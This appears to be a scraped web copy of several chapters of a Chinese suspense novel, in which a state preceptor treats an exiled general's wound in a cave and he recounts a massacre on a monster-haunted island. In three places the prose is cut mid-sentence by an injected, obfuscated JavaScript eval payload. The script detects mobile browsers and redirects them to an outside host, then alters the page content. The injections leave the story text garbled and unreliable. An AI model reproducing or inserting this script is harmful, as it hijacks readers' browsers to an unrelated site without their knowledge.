“但仍不能保证前路没有任何陷阱。”萧明灿翻动那几件外袍,除了沾着土和血渍外,衣襟内袋空无一物。她拿起旁边的革带,解下那几个锦囊,“就像我们刚刚说的那样,如果那些怪物制造恐惧的方式,几乎都依靠于那几个窥视我们的‘孩子’的话……” 她看了眼因为寒冷不住颤抖的双手,试着握了握拳,说:“我想,既然没办法一次性除掉他们,那就干脆换一种方式。” 檀妄生挑了下眉,“除掉自己?” 萧明灿说:“只要它们找不到我们,就无法再给我们制造任何恐惧。” 檀妄生闻言顿了顿,“……我们没有多余的人手,也没有足够的火药。这场游戏里,我们完全处于劣势。” 他收回视线,看着那道背对着他的那道身影,“在那种不断逃亡、不断面对未知危机的处境下,常人一定会本能地遵从规则做出选择,然后再在选择中找到生机,比如放弃那些被包围的人,然后继续前进。但国师却利用规则从游戏里抽离……” 他想到这,笑了笑,“应该很多人都说过,国师真的很聪明。” 雨幕里开始传来断断续续的尖叫。几道黑影从崖上坠下,像是从山顶滚落的泥石。 “但国师应该知道,”檀妄生低沉的声音与尖叫声叠在了一起,“在有人发现我们之前,我们就会被活活冻死。” 接着,他听到了几声闷闷的砸响传来。 一片昏光下,他看到萧明灿站起身,正用捡来的刀剁着什么。片刻后,她把快要崩刃的刀往旁边一扔,抱着几块小臂粗的木头和破旧的衣裳走了过来。 她把木头放在檀妄生附近,接着打开刚刚从角落里捡到的火折子。微弱的火光在她眼中燃烧。 “……国师是怎么猜到的?”檀妄生看着眼前被火点燃的衣服,意外道:“我记得,我应该从来都没说过那个把自己当生肉一样烤的人,是躲藏在这个山洞里的。” “负责押送的官员和侍卫上岛时,都曾背过一份海岛的地形图。上面着重标记了每一个适合躲藏的地方。” 萧明灿蹲在木堆边烤火,雨珠沿着她湿透的额发下滑,“那个人既然想要藏到无人发现的地方,这个山洞是最好的选择。因为太过陡峭,即便有人知道这里,也会下意识地把这地方排除在外。而正因为危险偏僻,以至那些非人的怪物也不会追到这里……当然,” 她搓了搓手心,声音因为呛水的缘故还有些哑:“我也只是推测而已,没想到他真的在山洞里留了备用的木头。” 檀妄生瞧着她,笑了,“所以——” “所以,” 萧明灿抬起眼,看向檀妄生的右臂。洞口又一道黑影急速坠落,尖叫声被海浪吞没。 她轻声说:“脱了。” 18. 剜伤 总是会有意外的事情发生。 这本该是一场再普通不过的押送,但登岛后所有人却突然音信全无。你或许会以为是岛的人在装神弄鬼,可你却亲眼看到了即便用鬼怪之说也无法解释的怪象。 但现在,你就站在也许是制造怪象的主谋面前,和他刚经历了一场濒临死亡的逃生。 而你上次见到他时,他正被绑在刑架上,你则是那个让他遍体鳞伤的“凶手”。 这感觉就像是做了一场荒诞不经的噩梦。 萧明灿看着他身上那些陈旧的伤疤,它们曾在愈合后又被撕裂。她还记得鲜血从创口处渗流而出的样子。血珠滑过胸膛,又漫过腹部另一道鞭伤,继而一同汇聚,贴着腰侧鼓动的青筋一同向下延伸。 屈辱,狰狞,随即又被冷水生生冲刷。 很难去形容当时那种感觉。 毕竟她并不指望檀妄生真的会因为熬不过酷刑而交代所有事。他随性放荡,忽视礼数,但纨绔又不懂得遵守“规则”的人不会手握兵权活到今日,哪怕他能力出众,也早晚会被其他世家踢出朝堂,分割其肉。 相反,比起传言中轻浮莽撞的疯子,他其实要更加亲和,他可以和皇夫开些无伤大雅的小玩笑,可以和百姓毫无距离地聊聊台上的小曲儿,可以去酒楼和几个纨绔子弟喝到大天亮,然后径直去最破的小巷里和一群人斗鸡。他看起来像是随时会脱缰的马,但却从来没有做过任何触犯皇上原则的事。 在皇上,甚至是太傅眼里,这种随性放荡意味着他没有任何野心,仅仅只是幼稚散漫了些。就像他永远只是那个当年被镇北王从边境流民堆里带回来的孩子一样。 事实果真如此吗? 萧明灿不清楚。但她知道,如果真是军营里长大、什么都不懂的野孩子,他就不会敢顶着死罪在皇上和太傅之间斡旋。酷刑对他来说就好比战场落下的刀伤,仅仅只是皮肉之苦而已。他清楚自己的性命一定不会断在国师手里。 萧明灿早就料到了结果。但如今陡然生出的那种微妙的感觉又是什么呢? 就好像在看铁笼里的一只野兽。 它有着各种凶悍残暴的传闻,多少人死于它的口中,又有多少人闻声便觉得惧怕。但它此刻就被关在这里,强壮的身体无法撞破坚固的牢笼,獠牙也成了吓唬人的摆设。 但即便如此,它的眼神依旧凛然,仿佛身上淋漓的鲜血都来自于它口中的猎物,而眼前人很快就是下一个。 想要驯服它吗? 萧明灿并不这么认为。 莫名其妙的胜负欲? 萧明灿觉得,更多的是某种破坏欲使然。 那种想要摧残的冲动在她心底里悄然蔓延,也许是因为她想去看看他不同于散漫高傲的另一种模样?很快,这种掺杂着强烈好奇的欲望继续腾升。鞭子落下的声音像是浇在火上的酒。她的指尖有些发痒。 而当审问者向国师请示的时候,她却没再继续选择那些刑具。只是坐在椅子里,双手搭在扶手上,平静地看着刑架上的人,问出了那个早已知道答案的问题。 “将军还是不打算说吗?” “……如果我说了,国师会给我什么好处?”他的声音带着喘息,但却有余力扯出一个笑容,“免死?流放?还是安排一个新的身份度过余生?” 萧明灿知道他并不需要这些,“将军想要什么?” 潮湿和寒冷的气味在昏暗里浮荡。 不算久的静默后,他说:“一坛酒。” 檀妄生挑开水囊的木塞,酒香淡淡蔓延开来。他喝了一大口,然后看向萧明灿。 她正帮他解开衣裳,黑色的外袍搭在她胳膊上,被水浸透的中衣则紧贴着他的伤口。他等着她扯开系带,然后就像服侍沐浴般一点点褪下他的中衣。 但她的动作绝对称不上温和。 两人距离极近,檀妄生几乎一抬头,就能看到险些碰到的唇角,因为寒冷的原因,那唇色算得上是苍白。一滴水珠顺着她的鼻骨一路滑下,继而停留在她的上唇。 檀妄生没有舔去嘴角的酒,也没有刻意移开目光,只缓缓道:“铁弹嵌了进去,我一只手没办法做,看来国师要帮我了。” 萧明灿看向他受伤的上臂,皮肉外翻,很难看清里面的铁片。她试着握了握僵硬的五指,道:“我不会医术。一旦出现失误,你就会死于失血过多。” 檀妄生想起了她在山坡上时,刻意用谨慎打量四周的幌子来放慢速度,新奇道:“我还以为国师很想让我死呢。” 萧明灿把那外袍简单铺到火堆旁的木块上,试着烘干,“废一条胳膊和死还是有很大区别的。” “……也是。”檀妄生说,“如果我死了,就没人会知道岛上的事了。但我若是废了一条胳膊,也许就再也不会拿火铳或刀做些什么……不过,国师应该没想到我们还会跳崖吧?暗礁又划开了伤口,铁片估计已经移位了。”他笑道:“出乎国师的意料,我现在的命危在旦夕。” 萧明灿静静看着他,此时他已经褪下了半边中衣,一侧衣襟斜搭在他手肘上,露出胸膛那道刀疤,和鲜血淋漓的上臂。发尾的水珠正向下滚动。 最终,萧明灿抽出匕首,说:“多亏了将军的这场游戏。” “……所以,”檀妄生把酒囊递给萧明灿,微微一笑,“拜托国师了。” 说实话,萧明灿不太喜欢现在这种感觉。 虽然萧明灿并不讨厌看到他某一天突然变得乖巧至极,就像野兽突然袒露腹部一样,毫无防备地暴露弱点。但绝不是现在。她也不觉得这种掌控感有多好。相反,这倒更像是一种挑衅。 檀妄生还不能死。 他手里掌握着太多的秘密:三年前营啸的真相,五年前这不知名的荒村爆发的瘟疫,已经渗透进皇城的非人之物,还有那几艘毫无踪迹的船。在她还没弄清这些事情之前,就拿他没有任何办法。 他深知如此。这就是棘手之处。 他坦然地表示自己的价值,仿佛渔夫抛出诱饵。他是个罪臣,身处与世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785075|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隔绝的孤岛,手里却握着足以立功的真相。而当你意识到这一点,想要接近时,他又会稍稍收回鱼线,放出那些吊诡离奇的怪物,引你入局,再把你耍得团团转。 当你想要破局时……这几乎是一个死局。影将军就像那些在暗中窥探他们,又将他们的一举一动传递给同类的“孩童”一样,想要摆脱这种任人耍弄的困局,就必须要杀了那孩童。但檀妄生不是那些四肢伤残的怪物,你很难伤到他。 他看起来随时会把自己置身在危险当中,随时都会送命。你大可以伺机等他受伤,然后再想办法找出真相:威胁、带到船上、搜找他的屋子,亦或是慢慢找到他的软肋……但他同样也可以把自己和你搞得濒死,然后等你来救他。 就好像他永远略胜一筹。 那么,这是否又是另一场恶趣味的游戏? 大概是因为太过寒冷,又或是莫名其妙的紧张——毕竟外面的尖叫声还在回荡,当萧明灿胡思乱想到这的时候,已经把刀烤得炙热。她看向上臂那道皮肉外翻的伤口,轻轻呼了口气。 檀妄生看着她,似乎有些好奇,忽然问:“国师会感到害怕吗?因为我很有可能会死在这里,而真相也会跟着我一起离开这世上?”他瞧着萧明灿猛灌了几口酒,“看来当国师发现那东西已经渗进皇城后——” 他猛地仰头,后脑磕上石壁,脖子青筋骤然暴起。 很难去克制从喉咙里溢出的那一声闷哼,那实在是太突然了。有那么一瞬间,他还以为自己的胳膊被人一刀砍断了,紧接着眼前阵阵发黑,头脑空白,双耳嗡鸣,可血肉被切开后又被烫烤的声音却又如此清晰。 萧明灿很遗憾没能看到檀妄生的表情,或者说没有任何功夫去看。她专注着眼前,剜着每一块碎片,刀锋就像在血肉里巡游,动作缓慢却异常平稳。 她能听到那混乱的喘息,其中夹杂着几声微弱的闷哼,听起来很像一段旋律里最高潮的那部分。 外面的尖叫声若有似无地传来。 最后一块铁片落地。她将之前晒干又叠好的白布条按在伤口上,继而用衣摆撕成的布条帮他包扎。 檀妄生后脑仍抵着石壁,在喘息中偏头看了眼鲜血淋漓的小臂,顿了片刻,突发奇想地问:“国师觉得,会留疤吗?” 萧明灿想了想刚刚惨不忍睹的伤口,道:“我说过,我不会医术。” “说不定疼痛也是件好事?毕竟,疼痛的记忆是最不容易忘掉的东西。” 檀妄生接过萧明灿递来的酒,喝了几口,亲和地道:“这么来看,我和国师的每一次相遇都足够刻骨铭心——” 萧明灿伸出手,撩开他垂下的额发,轻轻覆上他的额头。 她感受着那灼热的体温,看着他从容平常却又略微失神的双眼,呢喃般地轻声说:“既然如此,作为救命是报答,又或是游戏的奖励,将军是不是该告诉我真相了。” 微弱的火光映着两人侧脸。 萧明灿问:“先前登岛的那百人,真的还活着吗?” 19. 屠杀 很难去形容眼下这种场景。 半昏半暗的山洞里,萧明灿就半跪在他身侧,左手拿着刚剜开血肉的匕首,右手则轻覆着他的额头,拇指的血珠在眉峰上留下一道浅淡的红痕,远比不上胳膊的伤口触目惊心。 而他衣衫不整。分不清水珠还是汗珠从他颈前淌过,在火苗下反射出细微的光。他双臂撑在身侧,袖管下露出的手指抓着地面,仿佛在忍耐着剧痛带来的余韵。可他的双眼却依旧带着吊儿郎当的笑意,火焰在他瞳孔里跃动,以至看上去更像是某种慵懒的放松。 混着鲜血的酒气在两人之间缠绕。 但这绝对称不上是能放松的时刻。毕竟上一个来避难的人,曾试图把自己活活烧死在这儿,目的是为了解脱。他留下的灰烬就铺摊在两人不远处。 而外面仍下着雨。山上那些人影就跟下饺子似的时不时往下掉,尖叫声在失重下被狂风骤浪撞得破碎、嘶哑,听起来像是生锈的钝刀在铁块上慢慢地割。 萧明灿已经记不清这是今日第几次觉得诡异了,甚至对此感到有些麻木,或许是烈酒的缘故,又或者她真的太累了——但她仍能察觉到有一丝不同。 这种微妙的感觉和之前遇到的都不太一样,无论是小女孩,还是“死而复生”的村民,亦或是哼着歌谣的怪物……此时此刻,她感觉自己似乎不再是被怪异追逐的人,而是融进了怪异本身。 萧明灿收回手。 “活着……” 与此同时,檀妄生轻轻念了一句,然后转头看了眼洞口。恰巧一团黑影如雨幕般自上而下掠过,紧接着传来闷重的砸响。他说:“如果国师指的是那种的话。” 萧明灿道:“你知道我在说什么。” 但她看着檀妄生不像开玩笑的表情,忽然间隐约猜到了答案。 她握了握匕首,平静地问:“发生了什么?” “在这座岛上的三年里,发生过很多次失踪,尤其是在那些怪物最开始出现的时候。”檀妄生试着抬手,脱下湿透的中衣,语气依旧懒洋洋的,“国师应该也有所体会。他们就像军营里接连遭遇败仗的新兵一样,受了刺激,又被自己预想的恐惧吞噬。然后……嘶——” 萧明灿没什么表情地看着他浮夸的嘶声,明明刚刚用带伤的手拿铳砸塌村民脑袋时,连个眉头都没皱一下。 接着,她瞧了眼胳膊上渗出一小片血迹的布条,停了一瞬,又没什么表情地帮他脱下右侧袖子,说:“然后就会像槐树下那些人一样,偷偷离开,以惨烈的方式结束性命?” 她又道:“但是先前那两批来押送的人当中,大部分早就见识过了寻常百姓一辈子都不可能接触到的命案尸堆,即便这种东西远比人为造成的命案更令人恐慌……但以他们的胆量,应该也不至于全都出事。” 檀妄生点了点头,说:“为了防止失踪之事再次发生,我们想了很多办法。比如用薄布蒙上眼睛,日落后不走任何偏僻山路,阴雨天尽量不离开岛中心。” 萧明灿忽然想起了那十二个失踪的人。 ……日落后不走任何偏僻的路,阴雨天不离开岛中心。这是避免像他们一样被那些非人之物突然围攻的最直接有效的办法。即便檀妄生有意隐瞒,那些侍卫和官吏只要见识过那群怪物,就必然会意识到这一点。 既然如此,为何那—— 檀妄生似乎猜到了她所想,又像是之前的事只是为了铺垫接下来的话,忽然笑了笑,问:“国师知道那十二个人为何会在阴雨天失踪吗?” 萧明灿听到了那句阴雨天,想了想,道:“去救人?” 十二个人,其中有十人拿着火铳,这意味着其中大部分是当初跟着檀妄生流放的随从。能够“破坏规则”,并且能冒着危险把火铳拿出去,想来要解救的人一定很重……不对,难道他们就不重要吗? 她和檀妄生一同被困在这里,也许檀妄生隐瞒了什么目的,但就算他们胆大到敢对国师的处境放任不管,也不可能会任由将军流落在这。哪怕提前知道这只是影将军一场随心而为的恶趣味游戏,但他们真的会为了一场游戏让他置身于无法预料的危险当中吗? 萧明灿觉得古怪,但没挑明,只换了个问:“他们想要探出那些怪物的藏身之处?” “人太多了。”檀妄生摇了摇头,“想要试探出那些怪物的藏身之处,只有两种办法,一种是以活人为饵,或是新鲜的尸肉为饵。让它们在最饥饿的状态下找到活人,并且抓到他们,这个时候,它们往往会因为饿肚子而变得焦躁,就像人饿到快死的时候面前突然出现了一只兔子,你不会兴致勃勃地想着把它扔到笼子里慢慢养大,而是迫不及待地把它做出一锅美味的兔肉汤,解决眼前的问题。” 萧明灿看了眼洞口。 “这种办法只在天寒地冻的情况下适用。”檀妄生倚靠着石壁,像是在讲故事一样道:“因为这个时候,岛上几乎没有什么能供它们吃的东西了,而冬季又便于贮存。所以,它们大都会选择把东西立刻拖到藏身的洞穴里,然后再慢慢地、节省地享用。而这个时候,只要悄悄跟在它们身后,即便有些地方崎岖难走,但也能推测出大致的方位。” 他看了眼萧明灿,笑着抬起一手,做出投降的样子,“国师放心,我从来都没有用活人做过这种事。这和当年太祖他老人家为了长生不老用活人祭祀有何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795267|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 区别?简直丧心病狂。” 萧明灿揉了揉额头,暂时不太想去辨别这话的真假,略过了这个话题,“第二种呢?” “跟踪。”檀妄生实话实说道,“派人在下雨之前就潜伏在无人发觉的地方,然后等着那些人出来游荡,在大雨停歇或天亮前回到藏身之处,再在暗中跟着它们。但这个方法太过耗时耗力,很多情况下,也许所有人都已经准备好了,但是大雨并没有来。又或是就算下雨,也只有零散几个怪物在偏远地方出没,那些潜伏在暗处的人自始至终都没能发现它们的踪迹。” 萧明灿想到了那些“孩童”,“而且,极容易会被发现。” 檀妄生点点头,“但不管藏身也好,用饵引诱也罢,都要遵从至关重要的一点,”他看向萧明灿,说:“人数一定要尽可能地少。” 显然那十二人并不符合这一点。 当初他们只有七人藏在荒村,最后还是一样会被发现,就算那十二人没有刻意藏在女孩房间,但想要行动起来,也极容易暴露。不过,这座岛这么大,如果分队藏在各处也不是不可能。 但问题是,就算意外发生,有一队人出事,为何其他人也会跟着一起失踪? 因为他们并没有所谓地分散行动,这几人自始至终都在一起。最起码,在变故发生前,他们从未分开过。 那么,他们为什么要在阴雨天行动? 檀妄生刚刚说过,火铳失踪对他来说也是一个困扰……假设他所言是真,那么,那些人究竟做了什么,能让檀妄生允许他们打破规则,拿着火铳在雨天去行动? ……如果这并非出自檀妄生的意愿呢? 往下掉的人影逐渐减少,不知何时,外面只剩下一片望不到尽头的黑。那些尖叫声依旧在断崖上回荡,像是歌者赤身站在严寒里唱出的战栗歌调。 片刻的默然后,萧明灿沉声说:“岛中心出事了。” 檀妄生说:“他们趁乱带走了火铳,然后离开了岛中心。” 檀妄生对于火铳之类的武器看管有多严格,从他在营啸爆发后果断下令销毁所有火药就能看出。那些人究竟能趁乱到什么程度,会在檀妄生的眼睛底下拿走那么多的火铳? 是那些怪物吗? 可……如果岛中心出现了那些东西,檀妄生更不可能会让他们接近火铳,况且他们举止怪异至极,哪怕接管了随从的身体,看守火铳的几人也能看出不对。 如果不是那些怪物,而是人呢? 萧明灿握紧了匕首,看着他问:“……发生了什么?” 又一道人影从断崖滚落。 檀妄生说:“一场惨绝人寰的屠杀。” 20. 惊疑 萧明灿很难能想象到,这座岛上到底发生了什么,要用“惨绝人寰”去形容。 岛中心无疑是最安全的地方。那里存放着不知数量的火铳,也是影将军一行人得以生活之处。这就相当于一座危机四伏的城池,它是生存的关键,而正因为知道危险遍布,所以才会更加警惕地设好防线,布置陷阱,阻止那些怪物靠近一步。 事实也的确如此。这三年以来,他们一直在尝试探清那些怪物的习性,以此来制定规则,遵守规则。 即便三年后有一群外人突然登岛,遇到了那些怪物……或许会有什么意外发生,出现些混乱,比如有人因为深陷恐惧而选择了以更惨烈的方式结束生命,同伴被“接管身体”后再次出现在了岛中心附近,亦或是他们和檀妄生一行人陷入了某种诡异的僵持——但无论如何,他们也绝不会闹到和一群流放之人自相残杀的地步。 他们来这里有要务在身,又不是毫无理智的疯子,当然懂得孰轻孰重的道理。在这座岛上,他们的共同敌人只能是那些怪物。 “……当那些怪物杀了几个官吏后,他们就意识到了不对。即便依然心存戒备,但还是会遵守岛上的……”檀妄生想了一个词,“规则。他们会尽量在日落前回到岛中心,阴雨天不踏出那里一步,就像我们刚刚说的那样。” 但他们不可能永远这么下去。萧明灿想。他们来这里是为了带走影将军,而当见识到那些离奇怪象后,他们一定会想着破解谜团。也许檀妄生隐瞒了些什么,又或是他也还没弄清解决这些怪物的办法。而问题是,檀妄生可以耐心地等,慢慢地找,但那些官员不行。 他们没有时间在这里耗。 “……但他们觉得,想要快点解决这些吊诡的谜题,就得去亲自看看那些怪物。”檀妄生似乎想起了什么有意思的事,笑了笑道:“他们当时还挺乐观,接受得也快,只把它当成山海经里的某个神怪异兽。他们想要近距离下摸透它们的习性、手段,甚至是来源。” 萧明灿沉吟着道:“……所以,这就造成了伤亡失踪对他们来说是常有的事。” 檀妄生道:“他们尽量在不破坏规则的前提下频繁外出,渐渐的,从日落前变成了天黑前回来,就算有时回不来,也不会强行赶路,而是就近躲在某个山洞或地窖里过夜。但即便如此,也依旧阻止不了有人一个接一个地精神失常、失踪,或是当着他们的面杀死自己。后来,他们开始意识到,自己这是在拿性命和它们搏,而在这么多伤亡之后,他们得到的情报却依然少之又少。” 萧明灿想着藏在树上的那几个“孩童”,顿了顿,说:“因为它们同样也在暗处观察他们。” “那些官员和副将终于深刻认识到了问题的严重。而那段时间,几乎每隔几天,就会下一场雨。”檀妄生把胳膊搭在支起的膝盖上,晃了晃手中酒囊,道:“有的时候早上还是个晴天,刚过正午天就变了。再加上那几日还有人‘意外’死亡,他们很快便决定放弃外出,只留在岛中心。先观察几天,再做打算。” 萧明灿觉得事态马上会急转直下。 果不其然,檀妄生接着便说:“但谁都没想到,哪怕他们老老实实留在岛中心,也依旧无法避免有人出事。” 萧明灿大概能猜到为什么还会有人出事。 自那些人登岛后,几乎每隔几天就会有人失踪。相对的,那些非人之物也尝到了令它们垂涎的好东西。这就像之前大部分时间都在山林里靠搜搜刮刮填饱肚子的熊一样,突然某一天,尝到了大量且新鲜的“肉”,为了能再吃一次,甚至不惜冒险在村子附近徘徊游荡,主动寻找狩猎时机。 但这些怪物远比熊更令人胆寒。 熊会利用视线遮掩,模仿人的一些简单动作来将其诱骗过来。但怪物却以活人早已死去的同僚作为诱饵,在岛中心附近的山林里游荡。 那群官员本就被这吊诡的谜团弄得疲惫不堪,时间紧迫,得到的残缺线索反而带来了另一个新的困惑。身边又有人接连惨烈死去。他们留在岛中心,看着曾经还一起开玩笑的同伴转眼就成了一具具只会牵动血肉的傀儡,日子久了,任谁都会崩溃。 “有几人无法承受这种绝望,于是逐渐被自己的恐惧所蚕食。”檀妄生说,“起初是变得焦躁不安,无法再冷静下来去分析那些他们曾拼命得来的线索。然后,他们开始偶尔出现幻觉,就像我们之前在山顶上说的那样,他们最初只当是自己休息不好。但事实上……” 萧明灿知道接下来的结局,想了想,说:“……如果是岛中心附近的那些怪物,将军应该会有所行动。” “自然。”檀妄生道:“当意识到这点后,我们就立刻派人清理了那些企图靠近岛中心的‘怪物’。但即便如此,岛中心的情况也依旧没有好转。” 洞口下方隐隐传来几声气若游丝的哀叫,但转瞬便被淹没在海浪迭起的喧嚣里。 “于是,”檀妄生说:“大家开始怀疑是岛中心内部出了‘鬼’。” 岛中心出了“鬼”? 难道有怪物偷偷潜入了那里? 不,几乎不可能。萧明灿想道。先不提它们究竟能不能冲破岛中心的防守,即便侥幸潜进了那里,想要以自身制造恐惧,就必然要出现在对方面前。但对方就算因为某种异常惨烈的场面而被吓得神志不清,第一反应也一定会是大声呼救。 而话又说回来,那些怪物又怎么可能在那么多人的眼睛底下,制造出什么血腥恶心的场面? 难道是因为被困在孤岛太久,又目睹了太多同伴接连惨死的惨状,所以才会精神崩溃? 也不太可能。虽然那个时候对他们来说的确很艰难,但也并非真到了穷途末路的绝境。他们失去了很多同伴,而以这些人的生命为代价,让他们得到了那些怪物也在观察他们的重要线索。 他们被困于岛中的最大原因不止是那些怪物,还有近来频繁的阴雨天。那时正是盛夏,白日一天比一天长,只要挺过这一小段时日,他们也许就能继续去探查岛上的真相,又或是给皇城传递消息。 萧明灿看向檀妄生,等着他的答案。 檀妄生稍一耸肩,“没有任何结果。我们把岛中心搜了个遍,没有所谓的怪物,也没有什么像命案现场一样的残肢断臂。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804713|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但这并不是个好消息。 “依旧有人死去。”檀妄生说:“我们试图寻找让那些人崩溃的契机,但一无所获。那些人只是不断重复说着幻觉里的事情,他们根本没办法再去分清哪些是真实发生的,哪些是他们臆想出来的。” 时至于此,这已经不再是活人与怪物之间的对抗,他们面对的是更加未知的恐惧。 这就像是村子里每晚都会出现被撕咬得面目全非的尸体,而罪魁祸首的熊早在他们发现之前就已桃之夭夭。又或是一桩桩离奇的命案现场,你猜不出凶手的作案习惯,但他们心里清楚,这绝不会是最后一具尸体。 甚至是—— “就像是一场瘟疫,”萧明灿掌心压着刀柄末端,用刀尖撑着地,低声道:“身处在岛中心的人都难保其身。” 檀妄生慢慢点头,“这种死亡逼近的恐慌感就像乌云一样笼罩在每个人头上。他们会比以往更加拼尽全力去找到问题的根源,但线索寥寥无几,他们只能在已经发生的惨剧上寻找残缺不全的真相。没过几天,人群里传出了一种推断。” 萧明灿听着他的话。 “有人出现幻觉,就意味着岛上依旧藏着怪物。而怪物的特征是什么?”檀妄生道,“言语混乱,举止反常,行动诡异,身上有伤。于是,一部分人开始认为,‘鬼’虽然没抓到,但当务之急,是避免这种‘恐惧’进一步蔓延。” 萧明灿沉默片刻,又说出了那句话:“就像是一场瘟疫。” 檀妄生将酒囊递给萧明灿,随手拿起旁边一截木头,扔到了渐弱的火堆里。周围晾晒的外袍在石壁上投下的黑影微微摇曳。 “有人开始心惊胆战。”他说:“他们生怕自己哪天也成了‘鬼’,死的不明不白。同时也开始担心那个‘鬼’是否就藏在自己身边。于是,理所当然的,他们开始注意周围的每一个人,观察他们的言语是否正常,又是否有崩溃的前兆。” 萧明灿觉得,这就像是那些怪物的另一出诡计。 行为反常,身上带伤。这些当然可以作为区分活人和怪物的依据,但在那种情况下,这种模糊的依据,反而从某种程度上成了催生恐惧的关键。 一个不眠不休在为寻找真相而奔波的人,在交谈时难免会出现言语混乱,甚至是比平时更加易怒。没有休息好就是会发生这种情况。更何况他们时刻都在面临死亡的威胁。 他们担心自己变成那些怪物,更害怕自己会被同伴误认成那些怪物。这种模糊又笼统的判断依据,已经开始让他们逐渐把敌人从那些怪物身上转移到了同伴身上,甚至是自己身上。当你看着铜镜里面露惊容的自己,是否会怀疑自己体内也住着一个吃人的‘鬼’? 雨势渐小,山洞下方的哀叫声越来越清晰。 萧明灿看着手中的酒,问:“最开始传出这个推断的人是谁?” “一个侍卫。” 檀妄生仿佛猜到了她的想法,笑着摇了摇头,说:“他并不是所谓的‘鬼’,也没有变成那些怪物。他甚至还在那场屠杀后活了下来,如果我们足够幸运,能活着回到岛中心的话,国师会见到他的。” 21. 狩猎 也许,这仅仅只是那个侍卫情急之下随口提出的一个推测,没有任何目的或私心。毕竟从当时的情况来看,那的确是能解释眼下种种死亡谜团的线索。尽管他们应该每个人都清楚,当这个心照不宣的线索成了如今唯一能解释那离奇怪象的原因后,到底会带来怎样的后果。 但…… 就像那个侍卫说出的推测一样,“言语混乱”——这可能只是因为当时寻找真相的进度停滞不前,气氛又太过压抑,亦或是他们大吵了一架,搞得剑拔弩张,所以才有人将压在心底的推测一股脑都说了出来。 这是情有可原的事。 这仅仅只是个看似疑点重重的巧合而已。 ……真的只是个巧合吗? 假设岛中心真有怪物潜入,那么那个“人”到底藏在哪? 有没有一种可能,其实有人在故意引导侍卫当众说出这个线索? 又或者,有人故意将侍卫私下和同僚埋怨时的话传了出去,导致这个正常的活人反而成了他们怀疑的目标,给真正的“鬼”当挡箭牌呢? 但无论如何,这都只是萧明灿事后的猜测而已。事实上,当时那种情况,根本容不得岛上的人冷静下来去思考这其中的疑点。因为就在流言传出后不久、岛中心的人正因此惶恐不安的时候,又有人出事了。 那是距离屠杀爆发前两天的事。 没有人知道灾难具体是如何发生的。总之,当第二天有人推开房门时,入目便是一具吊在房梁上的尸体。 准确来说,是一具活着的尸体。 他悬在屋子的正中央,双手被绑在身后。系结并不算紧,但足以禁锢住占领他身体的怪物——大概多亏了他临死前残存的一丝理智。 因为不断挣扎,那根套住脖子的麻绳在旋紧后又松劲,导致他这一整夜都在不停地左右转动,但却制造不出任何能引人注意的响动。 而当“他”看到站在门边的人时,忽然停止挣动,接着缓缓地张开嘴,发出如同被虐动物般绝望而嘶哑的叫声。 萧明灿转头看向洞口,那隐隐约约的叫声还在呼啸的寒风中回荡。她轻声问:“……他是谁?” “工部派来的一个随行小官。”檀妄生正转着手上的小木条玩,闻言回忆道,“就在他把自己吊死的三天前,还险些和别人打起来。” 萧明灿转回目光,看向檀妄生,“因为他们怀疑对方是怪物?” 檀妄生道:“确切地说,是他单方面怀疑对方是怪物。” 事发前几日,这位叫钱鸣的官员忽然说,和他住在一起的同伴举止有些反常。 比如有时,他会在大半夜突然惊起,就像感知到了什么事一样,坐在桌前奋笔疾书,直到天微微亮时才睡下。 “这其实并不算什么反常的事,”檀妄生对此评价道:“毕竟那个时候,他们都在拼尽全力去寻找破局的办法。整日想着一件事,说不定哪个时候就想出了关键的点子。虽然结合当时情况来看,大半夜惊起的确有些渗人,但……” 他稍一耸肩,继续道:“当年我在边城里见过不少诗者画家,这群人白天在酒楼睡得昏天暗地,晚上喝得伶仃大醉,但大半夜却灵光乍现。说不定他就是这种人。” 但他的可疑之处并不仅仅是这些。 在入睡之前,无论多么疲惫,他都会悄悄把写下的东西藏好。以往他从未这么做过,也没有这么做的理由。如果是有用的情报,大家一起共享交流,反而要比自己一个人对着残缺线索闷头苦想要事半功倍得多。 而且,他每天仅仅只睡不到两个时辰,便会出门去岛上探查情况。回来后,又是半夜惊醒……钱鸣说,起初,这种状况只是偶尔发生,后来越来越频繁,以至到了让他不得不注意的地步。 无数个巧合撞在一起,真的还会是巧合吗? 萧明灿点了点酒囊,“你们发现了什么?” “他身上只有些磕碰的轻微伤,每天都会在正午前回到岛中心,和他一起去探查的几人没有发觉出任何问题。至于经常夜半惊醒这回事,我们也没机会再去亲自确认。不过,” 